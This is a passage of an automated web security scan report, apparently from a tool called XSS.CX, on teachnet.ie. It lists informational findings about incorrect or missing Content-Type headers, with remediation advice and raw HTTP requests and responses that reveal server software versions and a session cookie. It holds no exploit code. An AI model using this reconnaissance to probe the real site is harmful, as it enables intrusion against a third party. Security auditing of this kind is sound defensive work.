If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

POST /news/SitePages/news.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache, no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://teachnet.ie/news/SitePages/news.aspx
Content-Length: 27733
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2
Pragma: no-cache

ctl00%24ScriptManager=ctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24UpdatePanel1%7Cctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24Calendar_blog&MSOWebPartPage_PostbackSour
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 1fdfa719-cf79-4c80-a4a3-cd1ac32054f8
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:38:37 GMT
Content-Length: 39832

11710|updatePanel|ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_UpdatePanel1|
<table id="ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_Calendar_blog" cellspacing="1" cellpadding
...[SNIP]...

5. Content type is not specified  previous
There are 2 instances of this issue:

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


5.1. http://teachnet.ie/Scripts/scripts/swfobject.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /Scripts/scripts/swfobject.js

Request

GET /Scripts/scripts/swfobject.js HTTP/1.1
Host: teachnet.ie
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://teachnet.ie/SitePages/Home.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 NOT FOUND
Cache-Control: private,max-age=0
Content-Length: 13
Expires: Sat, 15 Oct 2011 15:30:48 GMT
Server: Microsoft-IIS/7.0
SPRequestGuid: 96f7b69e-93ce-465a-b661-1954d059e430
X-SharePointHealthScore: 0
Public-Extension: http://schemas.microsoft.com/repl-2
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:30:48 GMT

404 NOT FOUND

5.2. http://teachnet.ie/Style%20Library/sitename/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /Style%20Library/sitename/favicon.ico

Request

GET /Style%20Library/sitename/favicon.ico HTTP/1.1
Host: teachnet.ie
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 NOT FOUND
Cache-Control: private,max-age=0
Content-Length: 13
Expires: Sat, 15 Oct 2011 15:31:22 GMT
Server: Microsoft-IIS/7.0
SPRequestGuid: 368849b1-963c-471a-8fae-444f268502bf
X-SharePointHealthScore: 0
Public-Extension: http://schemas.microsoft.com/repl-2
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:31:22 GMT

404 NOT FOUND

Report generated by XSS.CX at Sun Oct 30 10:45:26 CDT 2011.